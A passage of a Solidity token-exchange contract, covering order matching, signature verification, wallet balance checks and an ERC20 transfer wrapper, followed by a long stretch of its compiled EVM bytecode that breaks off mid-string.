@param makerOrder The maker order data structure. * @param takerOrder The taker order data structure. * @return Bool if the orders passes all checks. */ function __ordersMatch_and_AreVaild__( Order makerOrder, Order takerOrder ) private returns (bool) { // Confirm tokens match // NOTE potentially omit as matching handled upstream? if (makerOrder.wantToken_ != takerOrder.offerToken_) { return error("Maker wanted token does not match taker offer token, Exchange.__ordersMatch_and_AreVaild__()"); } if (makerOrder.offerToken_ != takerOrder.wantToken_) { return error("Maker offer token does not match taker wanted token, Exchange.__ordersMatch_and_AreVaild__()"); } // Price Ratios, to x decimal places hence * decimals, dependent on the size of the denominator. // Ratios are relative to eth, amount of ether for a single token, ie. ETH / GNO == 0.2 Ether per 1 Gnosis uint256 orderPrice; // The price the maker is willing to accept uint256 offeredPrice; // The offer the taker has given // Ratio = larger amount / smaller amount if (makerOrder.offerTokenTotal_ >= makerOrder.wantTokenTotal_) { orderPrice = makerOrder.offerTokenTotal_.mul(2**128).div(makerOrder.wantTokenTotal_); offeredPrice = takerOrder.wantTokenTotal_.mul(2**128).div(takerOrder.offerTokenTotal_); // ie. Maker is offering 10 ETH for 100 GNO but taker is offering 100 GNO for 20 ETH, no match! // The taker wants more ether than the maker is offering. if (orderPrice < offeredPrice) { return error("Taker price is greater than maker price, Exchange.__ordersMatch_and_AreVaild__()"); } } else { orderPrice = makerOrder.wantTokenTotal_.mul(2**128).div(makerOrder.offerTokenTotal_); offeredPrice = takerOrder.offerTokenTotal_.mul(2**128).div(takerOrder.wantTokenTotal_); // ie. Maker is offering 100 GNO for 10 ETH but taker is offering 5 ETH for 100 GNO, no match! // The taker is not offering enough ether for the maker if (orderPrice > offeredPrice) { return error("Taker price is less than maker price, Exchange.__ordersMatch_and_AreVaild__()"); } } return true; } /** * @dev Ask each wallet to verify this order. * @param ownedExternalAddressesAndTokenAddresses The maker and taker external owned accounts addresses and offered tokens contracts. * [ * makerEOA * makerOfferToken * takerEOA * takerOfferToken * ] * @param toMakerAmount The amount of tokens to be sent to the maker. * @param toTakerAmount The amount of tokens to be sent to the taker. * @param makerTradingWallet The maker trading wallet contract. * @param takerTradingWallet The taker trading wallet contract. * @param fee The fee to be paid for this trade, paid in full by taker. * @return Success if both wallets verify the order. */ function __ordersVerifiedByWallets__( address[4] ownedExternalAddressesAndTokenAddresses, uint256 toMakerAmount, uint256 toTakerAmount, WalletV2 makerTradingWallet, WalletV2 takerTradingWallet, uint256 fee ) private returns (bool) { // Have the transaction verified by both maker and taker wallets // confirm sufficient balance to transfer, offerToken and offerTokenAmount if(!makerTradingWallet.verifyOrder(ownedExternalAddressesAndTokenAddresses[1], toTakerAmount, 0, 0)) { return error("Maker wallet could not verify the order, Exchange.____ordersVerifiedByWallets____()"); } if(!takerTradingWallet.verifyOrder(ownedExternalAddressesAndTokenAddresses[3], toMakerAmount, fee, edoToken_)) { return error("Taker wallet could not verify the order, Exchange.____ordersVerifiedByWallets____()"); } return true; } /** * @dev On chain verification of an ECDSA ethereum signature. * @param signer The EOA address of the account that supposedly signed the message. * @param orderHash The on-chain generated hash for the order. * @param v ECDSA signature parameter v. * @param r ECDSA signature parameter r. * @param s ECDSA signature parameter s. * @return Bool if the signature is valid or not. */ function __signatureIsValid__( address signer, bytes32 orderHash, uint8 v, bytes32 r, bytes32 s ) private pure returns (bool) { address recoveredAddr = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, r, s ); return recoveredAddr == signer; } /** * @dev Confirm wallet local balances and token balances match. * @param makerTradingWallet Maker wallet address. * @param takerTradingWallet Taker wallet address. * @param token Token address to confirm balances match. * @return If the balances do match. */ function __tokenAndWalletBalancesMatch__( address makerTradingWallet, address takerTradingWallet, address token ) private view returns(bool) { if (Token(token).balanceOf(makerTradingWallet) != WalletV2(makerTradingWallet).balanceOf(token)) { return false; } if (Token(token).balanceOf(takerTradingWallet) != WalletV2(takerTradingWallet).balanceOf(token)) { return false; } return true; } /** * @dev Wrapping the ERC20 transfer function to avoid missing returns. * @param _token The address of bad formed ERC20 token. * @param _from Transfer sender. * @param _to Transfer receiver. * @param _value Amount to be transfered. * @return Success of the safeTransfer. */ function safeTransferFrom( address _token, address _from, address _to, uint256 _value ) public returns (bool result) { BadERC20(_token).transferFrom(_from, _to, _value); assembly { switch returndatasize() case 0 { // This is our BadToken result := not(0) // result is true } case 32 { // This is our GoodToken returndatacopy(0, 0, 32) result := mload(0) // result == returndata of external call } default { // This is not an ERC20 token revert(0, 0) } } } }
0x608060405260043610620001495763ffffffff60e060020a6000350416631d2627bb81146200014b5780631e57bc4a14620001835780632e16cf5414620001b957806341832bed14620001f95780634983542e14620002a25780634a8ef4bd14620002e957806357b394bf146200030d5780635d09e625146200033757806360bf46ea146200036657806363a3d383146200038d57806369820a8014620003a55780636e3706f414620003bd5780637fa8690614620003f657806384b96e04146200042057806397e364d91462000444578063b5f9b5cc146200045c578063ba2fecec1462000480578063bd09f1171462000498578063c1d5e84f14620004b0578063c825ec9714620004d4578063cfbe2cb31462000589578063d9fc4b6114620005b3578063dff0fae714620005e6578063e7663079146200060a578063f3182d6c1462000622575b005b3480156200015857600080fd5b506200016f600160a060020a03600435166200064c565b604080519115158252519081900360200190f35b3480156200019057600080fd5b50620001a7600160a060020a0360043516620006f1565b60408051918252519081900360200190f35b348015620001c657600080fd5b50620001dd600160a060020a036004351662000703565b60408051600160a060020a039092168252519081900360200190f35b3480156200020657600080fd5b506040805160808181019092526200026591369160049160849190839081908390829080828437505060408051610100818101909252949796958181019594509250600891508390839080828437509396506200082895505050505050565b6040518082600260200280838360005b838110156200028f57818101518382015260200162000275565b5050505090500191505060405180910390f35b348015620002af57600080fd5b506200016f60246004803582810192908201359181358083019290820135916044358083019290820135916064359182019101356200099f565b348015620002f657600080fd5b506200016f600160a060020a036004351662000b2b565b3480156200031a57600080fd5b5062000149600160a060020a036004351660243560443562000bc7565b3480156200034457600080fd5b506200016f600160a060020a0360043581169060243516604435151562000c18565b3480156200037357600080fd5b506200016f600160a060020a036004351660243562000d00565b3480156200039a57600080fd5b50620001dd62000dce565b348015620003b257600080fd5b50620001a762000ddd565b348015620003ca57600080fd5b50620003d860043562000de3565b60408051938452602084019290925282820152519081900360600190f35b3480156200040357600080fd5b506200016f600160a060020a036004358116906024351662000e04565b3480156200042d57600080fd5b50620001a7600160a060020a036004351662000e24565b3480156200045157600080fd5b50620001dd62000e36565b3480156200046957600080fd5b50620001dd600160a060020a036004351662000e45565b3480156200048d57600080fd5b50620001dd62000e60565b348015620004a557600080fd5b50620001dd62000e6f565b348015620004bd57600080fd5b506200016f600160a060020a036004351662000e7e565b348015620004e157600080fd5b506040805160808181019092526200016f91369160049160849190839081908390829080828437505060408051610100818101909252949796958181019594509250600891508390839080828437505060408051808201825294979695818101959450925060029150839083908082843750506040805160808181019092529497969581810195945092506004915083908390808284375093965062000fd795505050505050565b3480156200059657600080fd5b5062000149600160a060020a036004351660243560443562001b93565b348015620005c057600080fd5b506200016f600160a060020a036004358116906024358116906044351660643562001be4565b348015620005f357600080fd5b50620001a7600160a060020a036004351662001ca9565b3480156200061757600080fd5b50620001dd62001cbb565b3480156200062f57600080fd5b506200016f600160a060020a036004351660243560443562001cca565b600254600090600160a060020a03163314620006c057620006b8606060405190810160405280602e81526020016000805160206200454283398151915281526020017f744569646f6f57616c6c6574282900000000000000000000000000000000000081525062001e28565b9050620006ec565b506008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831617905560015b919050565b600a6020526000908152604090205481565b600160a060020a038082166000908152600c60205260409020541680158015620007375750600054600160a060020a031615155b15620006ec5760008054604080517fb5f9b5cc000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301529151919092169263b5f9b5cc92602480820193602093909283900390910190829087803b158015620007a957600080fd5b505af1158015620007be573d6000803e3d6000fd5b505050506040513d6020811015620007d557600080fd5b50519050600160a060020a03811615620006ec57600160a060020a039182166000908152600c60205260409020805473ffffffffffffffffffffffffffffffffffffffff19169282169290921790915590565b6200083262003b0d565b6000803085826020020151866001602002015186600060200201518860036020020151886001602002015189600460200201518a60056020020151604080516c01000000000000000000000000600160a060020a039a8b1681028252988a168902601482015296891688026028880152603c87019590955292909616909402605c8401526070830193909352609082019390935260b081019190915290519081900360d00190209150308560026020020151866003602002015186600260200201518860016020020151886003602002015189600660200201518a600760209081029190910151604080516c01000000000000000000000000600160a060020a039b8c1681028252998b168a026014820152978a1689026028890152603c88019690965293909716909502605c8501526070840152609083019390935260b082019290925281519081900360d001812081830190925284815291820181905290935090505b505092915050565b6000805b8681101562000b1b5762000a958a8a83818110620009bd57fe5b9050608002016004806020026040519081016040528092919082600460200280828437508d93508c925086915050818110620009f557fe5b905061010002016008806020026040519081016040528092919082600860200280828437508c93508b92508791505081811062000a2e57fe5b9050604002016002806020026040519081016040528092919082600260200280828437508b93508a92508891505081811062000a6657fe5b90506080020160048060200260405190810160405280929190826004602002808284375062000fd79350505050565b151562000b12576040805160e560020a62461bcd02815260206004820152603260248201527f43616e6e6f742065786563757465206f726465722c2045786368616e67652e6260448201527f61746368457865637574654f7264657228290000000000000000000000000000606482015290519081900360840190fd5b600101620009a3565b5060019998505050505050505050565b600254600090600160a060020a0316331462000b9757620006b8606060405190810160405280603281526020016000805160206200454283398151915281526020017f744f72646572426f6f6b41636f756e742829000000000000000000000000000081525062001e28565b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b60408051600160a060020a038516815260208101849052808201839052905133917fe8d885fd2147a6ac7d644cd3c3a5f2413dbd8e515b61702b1cc1551188176b3c919081900360600190a2505050565b600254600090600160a060020a0316331462000c8c5762000c84606060405190810160405280602e81526020016000805160206200454283398151915281526020017f744d757374536b6970466565282900000000000000000000000000000000000081525062001e28565b905062000cf9565b600160a060020a03848116600081815260096020908152604080832094881680845294825291829020805460ff1916871515908117909155825190815291517f4eba14c78c101c2e2b3b430030103c27bd9ce14c04b7747ffb8b3b4cdeb948b49281900390910190a35060015b9392505050565b600254600090600160a060020a0316331462000d745762000d6c606060405190810160405280603081526020016000805160206200454283398151915281526020017f7451756f74655072696f7269747928290000000000000000000000000000000081525062001e28565b905062000dc8565b600160a060020a0383166000818152600a6020908152604091829020859055815185815291517fadba5bc51f565bc23062c2968481f023e22fd162f18b0146ff7e9393ffd2ed409281900390910190a25060015b92915050565b600454600160a060020a031681565b60035481565b600b6020526000908152604090208054600182015460029092015490919083565b600960209081526000928352604080842090915290825290205460ff1681565b60066020526000908152604090205481565b600554600160a060020a031681565b600c60205260009081526040902054600160a060020a031681565b600054600160a060020a031681565b600854600160a060020a031681565b6000808062000e8d8462000703565b600160a060020a03161462000f0b5762000f03606060405190810160405280602a81526020017f5573657220616c7265616479206578697374732c2045786368616e67652e616481526020017f644e65775573657228290000000000000000000000000000000000000000000081525062001e28565b915062000fd1565b6005548390600160a060020a031662000f2362003b28565b600160a060020a03928316815291166020820152604080519182900301906000f08015801562000f57573d6000803e3d6000fd5b50600160a060020a038481166000818152600c6020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff191694861694851790558151938452905193945090927f341c3eb6378732c9923fd02ea04564f599626c0f9b3fc49526dfd712d7cf7a549281900390910190a2600191505b50919050565b600062000fe362003b0d565b62000fed62003b0d565b62000ff762003b39565b6200100162003b39565b6200100b62003b5b565b6200101562003b5b565b6200101f62003b0d565b60408051808201909152600090806200103f8f845b602002015162000703565b600160a060020a031681526020016200105a8f600262001034565b600160a060020a03169052805160208201519199506200107e918f918f9162001ece565b1515620010f457620010ec606060405190810160405280602981526020017f496e70757420697320696e76616c69642c2045786368616e67652e657865637581526020017f74654f726465722829000000000000000000000000000000000000000000000081525062001e28565b985062001b83565b620011008d8d62000828565b8d5181518d518d51939a506200111f938e60015b602002015162002326565b15156200118d57620010ec606060405190810160405280603381526020017f4d616b6572207369676e617475726520697320696e76616c69642c204578636881526020017f616e67652e657865637574654f7264657228290000000000000000000000000081525062001e28565b6040808e0151602089810151908e0151928d0151620011b093908e600362001114565b15156200121e57620010ec606060405190810160405280603381526020017f54616b6572207369676e617475726520697320696e76616c69642c204578636881526020017f616e67652e657865637574654f7264657228290000000000000000000000000081525062001e28565b86516000908152600b60208181526040808420815160608101835281548152600180830154948201949094526002909101549181019190915298509091908990602090810291909101518252818101929092526040908101600020815160608101835281548152600180830154948201949094526002909101549181019190915295508d906020020151600160a060020a031684528b600060209081029190910151908501528c60036020020151600160a060020a031660608501528b6001602002015160808501528551600010156200137f57604086015115156200136557620010ec606060405190810160405280603081526020017f4d616b6572206f7264657220697320696e6163746976652c2045786368616e6781526020017f652e657865637574654f7264657228290000000000000000000000000000000081525062001e28565b60408087015190850152602086015160a085015262001395565b8b516040850152600060a085015260808c015186525b6060808e0151600160a060020a03908116855260408e01516020868101919091528f015116848201528c015160808401528451600010156200145e57604085015115156200144457620010ec606060405190810160405280603081526020017f54616b6572206f7264657220697320696e6163746976652c2045786368616e6781526020017f652e657865637574654f7264657228290000000000000000000000000000000081525062001e28565b60408086015190840152602085015160a084015262001477565b6040808d015190840152600060a084015260c08c015185525b6200148384846200244f565b1515620014f157620010ec606060405190810160405280602c81526020017f4f726465727320646f206e6f74206d617463682c2045786368616e67652e657881526020017f65637574654f726465722829000000000000000000000000000000000000000081525062001e28565b620014fd8484620027a3565b80519092506001118062001515575060208201516001115b15620015a857620010ec608060405190810160405280605281526020017f546f6b656e20616d6f756e74203c20312c20707269636520726174696f20697381526020017f20696e76616c69642120546f6b656e2076616c7565203c20312c20457863686181526020017f6e67652e657865637574654f726465722829000000000000000000000000000081525062001e28565b81516020830151620015bc918691620029cb565b6004548451919250600160a060020a0391821691161480156200168157506020820151620015ec90829062002aee565b600454600160a060020a03166370a082318a600160200201516040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156200165157600080fd5b505af115801562001666573d6000803e3d6000fd5b505050506040513d60208110156200167d57600080fd5b5051105b156200173a57620010ec60a060405190810160405280606381526020017f54616b65722068617320616e20696e73756666696369656e742045444f20746f81526020017f6b656e2062616c616e636520746f20636f766572207468652066656520414e4481526020017f20746865206f666665722c2045786368616e67652e657865637574654f72646581526020017f722829000000000000000000000000000000000000000000000000000000000081525062001e28565b6004548190600160a060020a03166370a082318a600160200201516040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015620017a157600080fd5b505af1158015620017b6573d6000803e3d6000fd5b505050506040513d6020811015620017cd57600080fd5b505110156200186357620010ec608060405190810160405280605581526020017f54616b65722068617320616e20696e73756666696369656e742045444f20746f81526020017f6b656e2062616c616e636520746f20636f76657220746865206665652c20457881526020017f6368616e67652e657865637574654f726465722829000000000000000000000081525062001e28565b6200188f8d836001602002015184600060200201518b600060200201518c600160200201518662002afe565b1515620018fd57620010ec606060405190810160405280603f81526020017f4f7264657220636f756c64206e6f74206265207665726966696564206279207781526020017f616c6c6574732c2045786368616e67652e657865637574654f7264657228290081525062001e28565b815160408501516200190f9162002d9c565b6040870152602082015160a0850151620019299162002aee565b60208701526200194c826001602002015160408501519063ffffffff62002d9c16565b6040860152815160a0840151620019639162002aee565b60208681019190915287516000908152600b80835260408083208a518155938a0151600180860191909155908a015160029094019390935587929091908a9060209081029190910151825281810192909252604090810160009081208451815592840151600184015592015160029091015562001a02908e90849060200201518460016020020151848c600060200201518d6001602002015162002daf565b151562001aa5576040805160e560020a62461bcd02815260206004820152604260248201527f43616e6e6f74206578656375746520746f6b656e207472616e736665722c204560448201527f786368616e67652e5f5f65786563757465546f6b656e5472616e736665725f5f60648201527f2829000000000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b865160408088015160208981015183519283529082015281517fbc99ec61d80589c90dda14a2b09b9d0ddcdd61292e3745b9967c10bdd131d952929181900390910190a260208088015160408088015188840151825191825293810193909352805191927fbc99ec61d80589c90dda14a2b09b9d0ddcdd61292e3745b9967c10bdd131d952929081900390910190a2602080880151885184830151855160408051928352948201528351929391927f33f1634e907a90025026a538736ad65b4c862890df9e35a35c67cd55b0cfc8d0929181900390910190a3600198505b5050505050505050949350505050565b60408051600160a060020a038516815260208101849052808201839052905133917f0ecba04e3ac59da620bc63359f7754b6504cf198bac1987a1ac5123c47cf2a36919081900360600190a2505050565b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a03858116600483015284811660248301526044820184905291516000928716916323b872dd916064808301928692919082900301818387803b15801562001c5857600080fd5b505af115801562001c6d573d6000803e3d6000fd5b505050503d6000811462001c89576020811462001c9457600080fd5b600019915062001ca0565b60206000803e60005191505b50949350505050565b60076020526000908152604090205481565b600254600160a060020a031681565b600254600090600160a060020a0316331462001d365762000c84606060405190810160405280602a81526020016000805160206200454283398151915281526020017f744665655261746528290000000000000000000000000000000000000000000081525062001e28565b600160a060020a0384166000908152600a6020526040902054151562001dbd5762000c84606060405190810160405280603681526020017f71756f74655072696f726974795b5f71756f7465546f6b656e5d203d3d20302c81526020017f2045786368616e67652e7365744665655261746528290000000000000000000081525062001e28565b600160a060020a03841660008181526006602090815260408083208790556007825291829020859055815186815290810185905281517f4087c0a471bb6f7904a5b325dccb8fdfe192681804f34182e0d7b17610a9871f929181900390910190a25060019392505050565b60007f551303dd5f39cbfe6daba6b3e27754b8a7d72f519756a2cde2b92c2bbde159a7826040518080602001828103825283818151815260200191508051906020019080838360005b8381101562001e8b57818101518382015260200162001e71565b50505050905090810190601f16801562001eb95780820380516001836020036101000a031916815260200191505b509250505060405180910390a1506000919050565b600154600090600160a060020a0316331462001f795762001f71608060405190810160405280604781526020017f6d73672e73656e64657220213d206f72646572426f6f6b4163636f756e742c2081526020017f45786368616e67652e5f5f657865637574654f72646572496e7075744973566181526020017f6c69645f5f28290000000000000000000000000000000000000000000000000081525062001e28565b90506200231e565b608084015143111562001fed5762001f71606060405190810160405280604081526020017f4d616b6572206f726465722068617320657870697265642c2045786368616e6781526020017f652e5f5f657865637574654f72646572496e707574497356616c69645f5f282981525062001e28565b60c0840151431115620020615762001f71606060405190810160405280604081526020017f54616b6572206f726465722068617320657870697265642c2045786368616e6781526020017f652e5f5f657865637574654f72646572496e707574497356616c69645f5f282981525062001e28565b600160a060020a0383161515620020e95762001f71608060405190810160405280604481526020017f4d616b65722077616c6c657420646f6573206e6f742065786973742c2045786381526020017f68616e67652e5f5f657865637574654f72646572496e707574497356616c6964815260200160e060020a635f5f28290281525062001e28565b600160a060020a0382161515620021715762001f71608060405190810160405280604481526020017f54616b65722077616c6c657420646f6573206e6f742065786973742c2045786381526020017f68616e67652e5f5f657865637574654f72646572496e707574497356616c6964815260200160e060020a635f5f28290281525062001e28565b6060850151600160a060020a039081166000908152600a60209081526040808320549189015190931682529190205414156200225a5762001f7160a060405190810160405280606c81526020017f51756f746520746f6b656e206973206f6d697474656421204973206e6f74206f81526020017f66666572656420627920656974686572207468652054616b6572206f72204d6181526020017f6b65722c2045786368616e67652e5f5f657865637574654f72646572496e707581526020017f74497356616c69645f5f2829000000000000000000000000000000000000000081525062001e28565b835115806200226b57506020840151155b806200227957506040840151155b806200228757506060840151155b156200231a5762001f71608060405190810160405280605981526020017f4d6179206e6f74206578656375746520616e206f72646572207768657265207481526020017f6f6b656e20616d6f756e74203d3d20302c2045786368616e67652e5f5f65786581526020017f637574654f72646572496e707574497356616c69645f5f28290000000000000081525062001e28565b5060015b949350505050565b60008060018660405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b60208310620023ac5780518252601f1990920191602091820191016200238b565b51815160209384036101000a60001901801990921691161790526040805192909401829003822060008084528383018087529190915260ff8d1683860152606083018c9052608083018b9052935160a08084019750919550601f1981019492819003909101925090865af115801562002429573d6000803e3d6000fd5b5050604051601f190151600160a060020a03908116981697909714979650505050505050565b60008060008360000151600160a060020a03168560600151600160a060020a03161415156200250d5762002505608060405190810160405280605c81526020017f4d616b65722077616e74656420746f6b656e20646f6573206e6f74206d61746381526020017f682074616b6572206f6666657220746f6b656e2c2045786368616e67652e5f5f81526020017f6f72646572734d617463685f616e645f4172655661696c645f5f28290000000081525062001e28565b925062000997565b60608401518551600160a060020a03908116911614620025b45762002505608060405190810160405280605c81526020017f4d616b6572206f6666657220746f6b656e20646f6573206e6f74206d6174636881526020017f2074616b65722077616e74656420746f6b656e2c2045786368616e67652e5f5f81526020017f6f72646572734d617463685f616e645f4172655661696c645f5f28290000000081525062001e28565b6080850151602086015110620026bd57620025f78560800151620025ea608060020a88602001516200382390919063ffffffff16565b9063ffffffff6200384a16565b91506200261f8460200151620025ea608060020a87608001516200382390919063ffffffff16565b905080821015620026b75762002505608060405190810160405280605081526020017f54616b65722070726963652069732067726561746572207468616e206d616b6581526020017f722070726963652c2045786368616e67652e5f5f6f72646572734d617463685f81526020017f616e645f4172655661696c645f5f28290000000000000000000000000000000081525062001e28565b6200231a565b620026e38560200151620025ea608060020a88608001516200382390919063ffffffff16565b91506200270b8460800151620025ea608060020a87602001516200382390919063ffffffff16565b9050808211156200231a5762002505608060405190810160405280604d81526020017f54616b6572207072696365206973206c657373207468616e206d616b6572207081526020017f726963652c2045786368616e67652e5f5f6f72646572734d617463685f616e6481526020017f5f4172655661696c645f5f28290000000000000000000000000000000000000081525062001e28565b620027ad62003b0d565b600080600080600080620027c18862003862565b955088608001518960200151101515620028cb57620027fb8960800151620025ea608060020a8c602001516200382390919063ffffffff16565b94508515620028785760a089015160808a01516200281f9163ffffffff62002d9c16565b9350620028318860400151856200388f565b905062002870608060020a620025ea6fffffffffffffffffffffffffffffffff62002863858a63ffffffff6200382316565b9063ffffffff62002aee16565b9150620028c5565b60a08801516080890151620028939163ffffffff62002d9c16565b9250620028a58960400151846200388f565b9150620028c285620025ea84608060020a63ffffffff6200382316565b90505b620029ae565b620028f18960200151620025ea608060020a8c608001516200382390919063ffffffff16565b945085156200294c5760a089015160808a0151620029159163ffffffff62002d9c16565b9350620029278860400151856200388f565b90506200294485620025ea83608060020a63ffffffff6200382316565b9150620029ae565b60a08801516080890151620029679163ffffffff62002d9c16565b9250620029798960400151846200388f565b9150620029ab608060020a620025ea6fffffffffffffffffffffffffffffffff62002863868a63ffffffff6200382316565b90505b604080518082019091529182526020820152979650505050505050565b6000620029d88462003862565b151562002a6d576060840151600160a060020a03908116600090815260096020908152604080832088519094168352929052205460ff1662002a64578351600160a060020a0390811660009081526007602090815260408083205488519094168352600690915290205462002a5e91600a0a90620025ea90869063ffffffff6200382316565b62000c84565b50600062000cf9565b8351600160a060020a03908116600090815260096020908152604080832060608901519094168352929052205460ff1662002a6457606084018051600160a060020a039081166000908152600760209081526040808320549451909316825260069052205462002a5e91600a0a90620025ea90859063ffffffff6200382316565b60008282018381101562000cf957fe5b602080870151604080517f4e7343ea000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101889052600060448201819052606482018190529151919392871692634e7343ea9260848084019382900301818787803b15801562002b7c57600080fd5b505af115801562002b91573d6000803e3d6000fd5b505050506040513d602081101562002ba857600080fd5b5051151562002c465762002c3e608060405190810160405280605381526020017f4d616b65722077616c6c657420636f756c64206e6f742076657269667920746881526020017f65206f726465722c2045786368616e67652e5f5f5f5f6f72646572735665726981526020017f66696564427957616c6c6574735f5f5f5f28290000000000000000000000000081525062001e28565b905062002d92565b606087015160048054604080517f4e7343ea000000000000000000000000000000000000000000000000000000008152600160a060020a0394851693810193909352602483018a90526044830186905290831660648301525191851691634e7343ea916084808201926020929091908290030181600087803b15801562002ccc57600080fd5b505af115801562002ce1573d6000803e3d6000fd5b505050506040513d602081101562002cf857600080fd5b5051151562002d8e5762002c3e608060405190810160405280605381526020017f54616b65722077616c6c657420636f756c64206e6f742076657269667920746881526020017f65206f726465722c2045786368616e67652e5f5f5f5f6f72646572735665726981526020017f66696564427957616c6c6574735f5f5f5f28290000000000000000000000000081525062001e28565b5060015b9695505050505050565b60008282111562002da957fe5b50900390565b602086015160608701516000919085156200306c57600480546040805160e060020a6341228803028152600160a060020a03928316938101939093526024830189905260016044840152519086169163412288039160648083019260209291908290030181600087803b15801562002e2657600080fd5b505af115801562002e3b573d6000803e3d6000fd5b505050506040513d602081101562002e5257600080fd5b5051151562002ef7576040805160e560020a62461bcd02815260206004820152605860248201527f54616b65722074726164696e672077616c6c65742063616e6e6f74207570646160448201527f74652062616c616e63652077697468206665652c2045786368616e67652e5f5f60648201527f65786563757465546f6b656e5472616e736665725f5f28290000000000000000608482015290519081900360a40190fd5b60048054600854604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a03898116958201959095529184166024830152604482018a90525192909116916323b872dd916064808201926020929091908290030181600087803b15801562002f7557600080fd5b505af115801562002f8a573d6000803e3d6000fd5b505050506040513d602081101562002fa157600080fd5b505115156200306c576040805160e560020a62461bcd02815260206004820152606360248201527f43616e6e6f74207472616e7366657220666565732066726f6d2074616b65722060448201527f74726164696e672077616c6c657420746f206569646f6f2077616c6c65742c2060648201527f45786368616e67652e5f5f65786563757465546f6b656e5472616e736665725f60848201527f5f2829000000000000000000000000000000000000000000000000000000000060a482015290519081900360c40190fd5b6040805160e060020a6341228803028152600160a060020a038481166004830152602482018b9052600160448301529151918716916341228803916064808201926020929091908290030181600087803b158015620030ca57600080fd5b505af1158015620030df573d6000803e3d6000fd5b505050506040513d6020811015620030f657600080fd5b50511515620031c1576040805160e560020a62461bcd02815260206004820152606960248201527f4d616b65722074726164696e672077616c6c65742063616e6e6f74207570646160448201527f74652062616c616e6365207375627472616374696e6720746f54616b6572416d60648201527f6f756e742c2045786368616e67652e5f5f65786563757465546f6b656e54726160848201527f6e736665725f5f2829000000000000000000000000000000000000000000000060a482015290519081900360c40190fd5b6040805160e060020a6341228803028152600160a060020a038481166004830152602482018b9052600060448301819052925190871692634122880392606480820193602093909283900390910190829087803b1580156200322257600080fd5b505af115801562003237573d6000803e3d6000fd5b505050506040513d60208110156200324e57600080fd5b5051151562003304576040805160e560020a62461bcd028152602060048201526064602482018190527f54616b65722074726164696e672077616c6c65742063616e6e6f74207570646160448301527f74652062616c616e636520616464696e6720746f54616b6572416d6f756e742c908201527f2045786368616e67652e5f5f65786563757465546f6b656e5472616e73666572608482015260e060020a635f5f28290260a482015290519081900360c40190fd5b6040805160e060020a6341228803028152600160a060020a038381166004830152602482018a9052600160448301529151918616916341228803916064808201926020929091908290030181600087803b1580156200336257600080fd5b505af115801562003377573d6000803e3d6000fd5b505050506040513d60208110156200338e57600080fd5b5051151562003459576040805160e560020a62461bcd02815260206004820152606960248201527f54616b65722074726164696e672077616c6c65742063616e6e6f74207570646160448201527f74652062616c616e6365207375627472616374696e6720746f4d616b6572416d60648201527f6f756e742c2045786368616e67652e5f5f65786563757465546f6b656e54726160848201527f6e736665725f5f2829000000000000000000000000000000000000000000000060a482015290519081900360c40190fd5b6040805160e060020a6341228803028152600160a060020a038381166004830152602482018a9052600060448301819052925190881692634122880392606480820193602093909283900390910190829087803b158015620034ba57600080fd5b505af1158015620034cf573d6000803e3d6000fd5b505050506040513d6020811015620034e657600080fd5b505115156200359c576040805160e560020a62461bcd028152602060048201526064602482018190527f4d616b65722074726164696e672077616c6c65742063616e6e6f74207570646160448301527f74652062616c616e636520616464696e6720746f4d616b6572416d6f756e742c908201527f2045786368616e67652e5f5f65786563757465546f6b656e5472616e73666572608482015260e060020a635f5f28290260a482015290519081900360c40190fd5b600160a060020a0382161515620035eb57604051600160a060020a0385169089156108fc02908a906000818181858888f19350505050158015620035e4573d6000803e3d6000fd5b50620036d8565b620035f98286868b62001be4565b1515620036c2576040805160e560020a62461bcd02815260206004820152606c60248201527f546f6b656e207472616e73666572736869702066726f6d206d616b657254726160448201527f64696e6757616c6c657420746f2074616b657254726164696e6757616c6c657460648201527f206661696c65642c2045786368616e67652e5f5f65786563757465546f6b656e60848201527f5472616e736665725f5f2829000000000000000000000000000000000000000060a482015290519081900360c40190fd5b620036cf858584620038a7565b1515620036d857fe5b600160a060020a03811615156200372757604051600160a060020a0386169088156108fc029089906000818181858888f1935050505015801562003720573d6000803e3d6000fd5b5062003814565b620037358185878a62001be4565b1515620037fe576040805160e560020a62461bcd02815260206004820152606c60248201527f546f6b656e207472616e73666572736869702066726f6d2074616b657254726160448201527f64696e6757616c6c657420746f206d616b657254726164696e6757616c6c657460648201527f206661696c65642c2045786368616e67652e5f5f65786563757465546f6b656e60848201527f5472616e736665725f5f2829000000000000000000000000000000000000000060a482015290519081900360c40190fd5b6200380b858583620038a7565b15156200381457fe5b50600198975050505050505050565b60008282028315806200384157508284828115156200383e57fe5b04145b151562000cf957fe5b60008082848115156200385957fe5b04949350505050565b6060810151600160a060020a039081166000908152600a6020526040808220549351909216815220541090565b6000818310620038a0578162000cf9565b5090919050565b600083600160a060020a03166370a08231836040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156200390557600080fd5b505af11580156200391a573d6000803e3d6000fd5b505050506040513d60208110156200393157600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301529151918516916370a08231916024808201926020929091908290030181600087803b1580156200399957600080fd5b505af1158015620039ae573d6000803e3d6000fd5b505050506040513d6020811015620039c557600080fd5b505114620039d65750600062000cf9565b82600160a060020a03166370a08231836040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801562003a3257600080fd5b505af115801562003a47573d6000803e3d6000fd5b505050506040513d602081101562003a5e57600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301529151918516916370a08231916024808201926020929091908290030181600087803b15801562003ac657600080fd5b505af115801562003adb573d6000803e3d6000fd5b505050506040513d602081101562003af257600080fd5b50511462